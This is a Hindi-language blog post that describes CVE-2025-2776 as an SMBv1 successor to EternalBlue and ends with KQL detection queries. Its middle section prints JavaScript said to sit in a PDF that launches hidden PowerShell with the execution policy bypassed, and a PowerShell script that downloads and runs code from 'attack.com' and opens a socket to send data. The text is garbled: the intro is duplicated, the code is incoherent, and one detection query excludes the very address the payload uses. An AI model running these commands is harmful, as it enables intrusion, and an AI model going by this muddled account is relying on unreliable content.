
इसने 2017 में दुनिया को हिलाकर रख दिया था और आज के CVE‑2025‑2776 में विकसित हो गया है। Microsoft अभी भी SMBv1 पर निर्भर है, यह लेख बताएगा कि कैसे हमलावरों ने एक साधारण DLL से एक पूर्ण रिवर्स-शेल स्टैक तक श्रृंखला को बदल दिया है, और इसका डिफ़ेंडरों के लिए क्या मतलब है।
इसने 2017 में दुनिया को हिलाकर रख दिया था और आज के CVE‑2025‑2776 में विकसित हो गया है। माइक्रोसॉफ्ट अभी भी SMBv1 पर निर्भर है, यह लेख बताएगा कि हमलावरों ने एक साधारण DLL से पूर्ण रिवर्स-शेल स्टैक तक की श्रृंखला को कैसे बदल दिया है, और इसका डिफेंडरों के लिए क्या मतलब है।
एक संक्षिप्त ऐतिहासिक पूर्वावलोकन
जब 2017 में WannaCrypter ने EternalBlue का उपयोग किया, तो यह दोष एक क्लासिक रिमोट कोड निष्पादन बग था जो एक दुर्भावनापूर्ण हमलावर को SMBv1 पर विंडोज होस्ट को एक पैकेट भेजने देता था। पेलोड ने एक निष्पादन योग्य बनाया जो एक नई प्रक्रिया चलाता था और उसी मशीन पर एक सुनने वाला पोर्ट खोलता था; वहाँ से हमलावर बाहर की ओर बढ़ सकता था या डेटा को एक दूरस्थ सर्वर पर वापस निकाल सकता था। EternalBlue का कोड छोटा था, लेकिन इसके कुछ पता लगाने में मुश्किल दुष्प्रभाव थे: SMB पैकेट में एक अजीब हेडर लेआउट होता था, और विंडोज कर्नेल पेलोड को डिस्क पर लिखने से पहले मेमोरी में गिरा देता था।
तेजी से 2025 की ओर बढ़ते हुए, नया CVE‑2025‑2776 उसी विचार को लेता है और इसे जटिलता की एक अतिरिक्त परत देता है। केवल एक पोर्ट खोलने के बजाय, हमलावर अब नेटवर्क स्टैक में ही एक रिवर्स शेल लिखता है। इसका मतलब है कि आप लॉग में Pi डिवाइस से उत्पन्न एक पूर्ण SMB सत्र देख सकते हैं, और आपके पास देखने के लिए एक नया संकेतक (प्रक्रिया का नाम और IP पता) है।
कोड जो इसे काम करता है
नीचे जावास्क्रिप्ट है जो PDF अटैचमेंट के अंदर बैठता है और पूरी श्रृंखला को चालू करता है:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
जब स्क्रिप्ट समाप्त होती है, तो यह लक्ष्य होस्ट पर script.ps1 नामक एक फ़ाइल बनाता है। PowerShell स्क्रिप्ट स्वयं इस प्रकार दिखती है:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
CVE-2025-2776 के लिए KQL डिटेक्शन स्ट्रेटेजी
संदिग्ध PowerShell निष्पादन
उपयोगकर्ता निर्देशिकाओं में script.ps1 के निर्माण का पता लगाता है।
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
असामान्य IP के लिए आउटबाउंड SMB कनेक्शन
गैर-मानक आंतरिक IP पर आउटबाउंड SMB ट्रैफ़िक को फ़्लैग करता है
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
TCPClient के माध्यम से रिवर्स शेल व्यवहार
रिवर्स शेल व्यवहार शुरू करने के लिए PowerShell द्वारा .NET कक्षाओं के उपयोग की तलाश करता है।
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
नेटवर्क स्ट्रीम राइट गतिविधि
यदि टेलीमेट्री में .NET स्ट्रीम गतिविधि शामिल है तो उन्नत पहचान।
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName